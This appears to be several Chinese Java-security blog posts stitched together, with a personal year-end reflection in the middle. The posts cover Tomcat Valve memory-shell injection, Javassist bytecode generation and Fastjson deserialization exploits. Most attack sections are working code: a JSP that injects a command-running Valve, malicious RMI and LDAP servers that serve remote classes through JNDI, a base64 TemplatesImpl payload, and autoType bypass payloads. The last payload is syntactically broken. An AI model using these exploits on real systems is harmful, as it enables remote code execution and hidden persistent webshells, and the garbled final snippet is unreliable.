再看看Valve接口里面声明的方法,其中invoke里面就是处理和响应的主体,所以在创建恶意Valve时可以通过使invoke来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
public interface Valvve {

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response)
throws IOException, ServletException;

public boolean isAsyncSupported();
}

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例

对于context容器里面由于需要处理请求,所以应该会有对Pipeline进行操作,下面就去找哪里会进行操作

来到CoyoteAdapter#service方法里面,当直接访问时就会调试到这里,下面就看看其调用链

它的service方法里面就提到了一个完整的调用链

首先先从connector调用到StandardEngineValve#invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public final void invoke(Request request, Response response)
throws IOException, ServletException {

// Select the Host to be used for this Request
Host host = request.getHost();
if (host == null) {
response.sendError
(HttpServletResponse.SC_BAD_REQUEST,
sm.getString("standardEngine.noHost",
request.getServerName()));
return;
}
if (request.isAsyncSupported()) {
request.setAsyncSupported(host.getPipeline().isAsyncSupported());
}

// Ask this Host to process this request
host.getPipeline().getFirst().invoke(request, response);

}

这里最后又嵌套调用下一个Value类的invoke,最后直到处理完请求

下面要找到哪里可以将恶意的Value添加进去,前面知道在Pipeline接口中存在一个addValve方法,毋庸置疑这个就是用于添加Valve的方法,对于实现Pipeline接口的类只有StandardPipeline里面存在addValve方法的实现,但是这里不能直接创建一个StandardPipeline对象,因为Pipeline 和 Valve 的使用通常需要一定的上下文环境,如果没有就会报错

所以这里的处理方式就是通过在context里面进行寻找,这里面肯定存在,或者可以找哪里调用了StandardPipeline#addValve方法,这里就也可以进行锁定类,这里面的ContainerBase里面调用了

并且它是StandardContext的父类,这个就满足了获取的条件

ContainerBase#addValve可以直接添加

或者可以通过getPipeline也可以直接获取上下文中的Pipeline对象,然后调用其中的addValve方法

下面又是获取Context的问题了,注册恶意的Valve过程

1
2
3
4
获取StandardContext对象
通过StandardContext对象获取StandardPipeline
编写恶意Valve
通过StandardPipeline.addValve()动态添加Valve

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
<%
context.addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
});
%>

jmg-gui构造链分析

这个内存马生成工具(jmg-gui)是pen4uin师傅写的,里面无需用上述的方法来获取context类,在对于正常的反序列化来说可能无法通过jsp文件来进行动态注册内存马,我们是希望在对恶意的类进行加载后就实现注册功能,而不是通过上传一个jsp文件来实现,而如果通过第二个方法来加载context还是有一定的限制

下面看一下其中获取context的方法,这里主要的思想是通过筛选线程的名字和类加载器来实现获取,这里不仅仅是tomcat框架,它还支持spring boot的环境下,这种方式就可以在恶意类加载中获取对应的context,方便对上述动态注入进行后续操作,一旦加载字节码就可以直接动态注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object context = null;
try {
for (Thread thread : threads) {
// 适配 v5/v6/7/8
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
// 原: map.get("localhost")
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
// 原: context = children.get("");
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
for (Object key1 : children.keySet()) {
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
// 兼容 spring boot 2.x embedded tomcat
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
}
// 适配 tomcat v9
//这里的ParallelWebappClassLoader默认为tomcat的构造器,而TomcatEmbeddedWebappClassLoader则为spring boot的构造器
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext"))
contexts.add(context);
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
contexts.add(context);
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}

​ 回顾2024年下来,自己还是很失败的,好像一直在学,但又没有学到什么,对于自己也付出看不到结果,看着比赛群中,一个个妖怪的诞生,自己又是那么的暗淡无光,渐渐的开始否认自己,迷失了方向,可能自己真的就没有努力过吧。

​ 所有的一切都不是一蹴而就,真正的学习过程需要通过时间来沉淀,失败了就失败了,大不了就从头来过………

​ 在学习了一段时间的java安全,但也慢慢的明确了未来的方向,起初对我而言,CTF就是一切,但慢慢的发现,安全并不局限于此还有更多的东西,等待我去学习

​ 所以我选择了继续沉淀,沉下心来慢慢学习,希望有一天自己也能发光发亮

前置知识介绍

Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件,它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,或者直接创建一个新的类,这个过程就类似java的反射调用,但是Javassist一般用于对于字节码文件的修改

基础知识介绍

ClassPool

ClassPool为CtClass对象的容器。要创建一个CtClass对象必须通过ClassPool来获取,创建ClassPool的方法如下

1
ClassPool pool=ClassPool.getDefault();

对于CtClass的获取,可以直接通过makeClass来创建一个新的类赋值,还可以通过get方法来进行获取,但是在一些特殊情况将无法获取到类,由于ClassPool.getDfault()获取的ClassPool使用JVM的类搜索的路径,如果程序运行在JBoss或者Tomcat等web服务器上就可能找不到自己定义的类,这里就需要手动输入路径来进行获取

1
2
3
pool.getDefault().insertClassPath("/path/to/your/classes");
//或者
pool.insertClassPath(new ClassClassPath(test.class));

CtClass及相关用法

CtClass可以看做一个加强版的class对象,但是CtClass需要以ClassPool为容器来获取

通常的获取方式为ClassPool.get(ClassName),这里就得先创建一个ClassPool容器。CtClass是核心,对于创建属性,方法或者构造器都是基于CtClass来进行的

一般获取用法:

1
2
3
4
5
6
7
8
9
//简单创建
pool.makeClass("test")//在默认包下进行创建
pool.makeClass("java.test")//表示创建在指定包下
pool.get("test")//获取一个已存在的类

//指定父类创建
pool.makeClass("test",pool.get(person.class.getName()))//表示test继承父类person
Ctclass superClass = pool.get(person.class.getName());
ctClass.setSuperclass(superClass);//和上面一样

CtMethod

CtMethod同理可以看做一个加强版的Method,这里可以通过CtClass.getDeclaredMethod(MethodName)方法来获取,或者直接通过new CtMethod(type,name,new CtClass[]{},ctclass)来创建一个CtMethod对象,它里面还支持对类中方法进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);

// 插入在方法体最前面
public void insertBefore(String src);

// 插入在方法体最后面
public void insertAfter(String src);

// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);

}

由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

符号含义$0,$1, $2, …$0 = this; $1 = args[1] …..$args方法参数数组.它的类型为 Object[]) 等价于 m(1,2,…)$cflow(…)cflow 变量$r返回结果的类型,用于强制类型转换$w包装器类型,用于强制类型转换$_返回值$sig类型为 java.lang.Class 的参数类型数组$type一个 java.lang.Class 对象,表示返回值类型$class一个 java.lang.Class 对象,表示当前正在修改的类

demo1

依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

下面一个小demo创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ublic static void aaa() throws Exception{
//创建一个CtClass容器ClassPool
ClassPool pool=ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Object.class));
//在该包下创建一个person类
CtClass ctclass=pool.makeClass("person");
//设置属性
CtField ctfield=new CtField(pool.get("java.lang.String"),"name",ctclass);
ctfield.setModifiers(Modifier.PRIVATE);
//定义初始值
ctclass.addField(ctfield,CtField.Initializer.constant("luokuang"));
//创建一个有参构造方法
CtConstructor ctconstructor=new CtConstructor(new CtClass[]{pool.get("java.lang.String")},ctclass);
ctconstructor.setModifiers(Modifier.PUBLIC);
//$1表示第一个参数,这里进行构造方法体的创建
ctconstructor.setBody("{ this.name=$1; }");
ctclass.addConstructor(ctconstructor);
//创建一个方法
CtMethod ctMethod=new CtMethod(CtClass.voidType,"print",new CtClass[]{},ctclass);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{ System.out.println(this.name);}");
ctclass.addMethod(ctMethod);
//将类创建为一个class字节码文件
ctclass.writeFile("D:\\javadm\\javassist\\src\\main\\java");
}

public static void main(String[] args)throws Exception {
aaa();
}

创建的字节码文件

demo2

创建一个简单的恶意字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
public static void setter(String cmd)throws Exception{
ClassPool pool=ClassPool.getDefault();
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
CtClass cc=pool.makeClass("rce");
cc.setSuperclass(superClass);
String statics="{ Runtime.getRuntime().exec(\""+cmd+"\"); }";
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},cc);
ctConstructor.setBody("{ Runtime.getRuntime().exec(\""+cmd+"\"); }");
cc.addConstructor(ctConstructor);
cc.writeFile("D:\\javadm\\javassist\\src\\main\\java");

}

创建的恶意字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/rce.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
Hashtable hashtable = new Hashtable();
hashtable.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(hashtable,"123.bin");
unserialized("123.bin");
// setter("calc");
}

相关链接:

https://goodapple.top/archives/832

https://yyjccc.github.io/2024/04/27/fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/

前置知识

首先需要介绍一下fastjson的相关知识,fastjson主要通过将一个json格式的文件转为一个java的对象,或者将一个java对象转为一个json格式的对象,但是这里的转化是需要满足一定条件,不是所有的对象都可以直接转为json格式,其中转化的过程就是通过序列化和反序列化,当然这个就与原生的jdk版本没有太多关联,这个属于插件存在的漏洞

导入依赖

1
2
3
4
5
 <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version> <!-- 请根据需要选择合适的版本 -->
</dependency>

Fastjson的一般用法

在fastjson进行转换时,必须需要类有一个无参构造方法,最好是通过java bean的格式进行书写,因为如果不是满足java bean则在对json反序列化为对象时可能会出现赋值问题,如果是private或者protected的属性就无法直接进行赋值给反序列化的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class demo1 {
public String name=null;
protected int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
public class test {
public static void main(String[] args) {
demo1 aa=new demo1();
//序列化
String text = JSON.toJSONString(aa);
System.out.println(text);
//反序列化
demo1 a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}", demo1.class);
System.out.println(a.getAge()+" "+a.getName());
}
}

如果反序列化没有指定为哪个类这里就会默认为一个JSONObjetct类

1
2
3
4
5
public static void main(String[] args) {
//反序列化
JSONObject a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}");
System.out.println(a.get("age"));
}

这里还有一种方式来进行指定类的类型,通过在序列化时在toJSONString中添加一个SerializerFeature.WriteClassName属性来进行指定,这个是有fastjson版本限制

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
System.out.println(json);
//反序列化
Object aa1 = JSON.parse(json);
System.out.println(aa1.getClass().getName());
}

Fastjson调用流程简单分析

序列化

先是序列化,这里先思考一个问题,属性值是如何获取的属性值的

这里就分为有无getter,如果没有getter方法,它就无法直接获取private属性或者protected属性,如果为public属性它就会看是否赋初始值,如果没有就表示默认值

如果有通过就是通过getter方法来进行获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class demo1 {
public String name="aaa";
private int age=10;
public int getAge() {
return 1000;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return "zzz";
}
public void setName(String name) {
this.name = name;
}
public String echo() {
return "echo"+this.age+" "+this.name;
}
}

这里也是体现了它以getter方法调用优先

反序列化

这里知道序列化的规则,反序列化也是一样

如果没有@type标识的情况下,它就默认为JSONObject,但是如果设置了@type属性又会如何进行实例化一个对象呢

它会先调用构造器,然后通过setter方法来进行对对象进行赋值操作

调试分析 反序列化

这里先调试parseObject方法

这里跟进去,嵌套了几个parse方法,最后到达DefaultJSONParser的parse方法

跟进到处理左括号这里,进入parseObject来看看它处理json格式字符串的方法,这里就以获取第一个属性为例子,这里它通过scanSymbol方法来获取两个引号之间的字段,其它的字段也是一样

这里跳一下,主要看解析完这个json字符串,它是如何来创建对象的

这里先是获取上述解析出来的信息,然后会进行一次类加载,看看clazz里面有哪些东西

下面就是通过判断是否该类为一个特殊的类,从默认加载器里面进行寻找,如果都没有才会直接进行类加载

最后就是反序列化,序列化里面创建了一份黑名单Thread类

最后在JavaBeanInfo的build方法里面反射获取setter和getter方法,这里通过特定的条件来进行寻找

1
2
3
4
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1

反序列化漏洞形成

简单的反序列化

在上述的描述下如果在反序列化一个属性值时它会通过调用setter方法来对其进行赋值操作,如果创建一个恶意的set方法这里就可以使其在赋值时调用方法触发恶意代码

恶意的set方法,执行成功

1
2
3
4
5
public void setAge(int age) throws Exception{
System.out.println("setter触发");
Runtime.getRuntime().exec("calc");
this.age = age;
}

Fastjson<=1.2.24利用链

这里为什么要以1.2.24为分界,主要因为在Fastjson<=1.2.24的版本里面可以通过@type来进行指定对应的类进行加载

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似主要通过fastjson来触发jndi

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里先看看它是如何联系jndi的,这里是由于JdbcRowSetImpl的connect方法里面调用了lookup方法,所以如果我们可以走到这里就可以成功触发

RMI+JNDI

利用的链子

1
2
3
4
5
6
7
8
9
10
public class test {
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
// System.out.println(json);
//反序列化
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/luokuang\",\"autoCommit\":true}");
}
}

恶意服务器

1
2
3
4
5
6
7
8
9
public class server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test","test","http://127.0.0.1:9000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/luokuang",refObjWrapper);
System.out.println("Registry运行中......");
}
}

LDAP+JNDI

ldap协议恶意服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
public class LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:9000/#test"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端

1
2
3
4
5
6
7
8
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
// System.out.println(json);
//反序列化
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}");
}

成功触发

调用流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:627, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP

TemplatesImpl利用链

TemplatesImpl类在cc链里面就有用到,主要的利用方法就是通过它的defineClass方法来实现动态类加载,而想让它调用到defineClass方法就需要从getOutputProperties方法入手

静态的去看吧,在getOutputProperties方法里面调用了newTransformer方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在newTransformer里面又调用了getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

getTransletInstance方法里面又继续调用了defineTransletClasses方法最后到达defineClass

下面来分析一下需要满足的条件首先在getTransletInstance方法里面需要满足 _name!=null,_class=null

下面在newTransformer里面的if判断里面需要保证_tfactory有值,像cc链里面一样

1
2
3
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}

这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密

最后来构造payload

1
2
3
4
5
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}

Fastjson高版本绕过

补丁分析

1.2.25-1.2.41补丁

这里主要看到创建对象时的代码逻辑进行了什么修改

和以前的进行对比一下,这里多加了一个checkAutoType方法这里不再是直接类加载了

单独看看checkAutoType方法里面是如何waf的

首先里面就是一个if,if里面的内容就是老版本的代码逻辑,if判断里面有两个属性,一个为autoTypeSupport默认为false,expectClass也是默认传入的为null,所以这里就有两个路走一个为autoTypeSupport为true或者false,autoTypeSupport代表白名单,我们可以手动设置为true

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

但是如果直接手动改为true也没有办法加载到恶意类,这里可以跟进去看看,里面是否修改了什么

这里主要看TypeUtils的loadClass方法

这里首先去掉 [ ]再判断是否满足类名开头为L,结尾为; 满足就去掉首尾再继续类加载,对于去掉 [ ]是因为在进入for之前它会判断一次长度,即默认只有数组才可以走到这里

下一个for里面主要是过滤黑名单

1.2.42补丁

这里主要对上面进行了补充

1
2
3
黑名单改为了hash值,防止绕过;

对于传入的类名,删除开头L和结尾的;

还是看checkAutoType方法里面又添加了什么东西,前面还是没有什么变化

后面就开始添加一些规则,如果满足if条件就去掉第一个字符和最后一个字符,再继续进行下一步

下一步就是进行运算,这里应该就是通过运算来判断其是否为黑名单

1.2.43补丁

这里就在上面的版本里面又去除了前面两个字符为LL的情况

ParseConfig的checkAutoType方法里面除了前面两个字符为LL的情况

1
2
3
4
5
6
7
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}
1.2.47补丁

在1.2.47的版本里面可以通过引入了一个mapping缓存,从而实现任意类加载,这个方法并不是1.2.47版本才有,是针对ParserConfig的checkAutoType方法都有,主要绕过通过将恶意类先写入mapping缓存中从而绕过异常的抛出

1.2.48补丁

并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类

由于上面进行分析,在开启AutoType和未开启是两个不同的代码逻辑,所以这里需要分别考虑

设置AutoType 默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

之后的payload 有些需要开启AutoType

漏洞利用

低于1.2.47版本的补丁通杀绕过
1
2
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

这里通过JdbcRowSetImpl+ldap来进行举例,其它也是差不多

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
" \"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\n" +
" \"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"DataSourceName\":\"ldap://127.0.0.1:9999/test\",\n" +
" \"AutoCommit\":false\n" +
" }\n" +
"}";
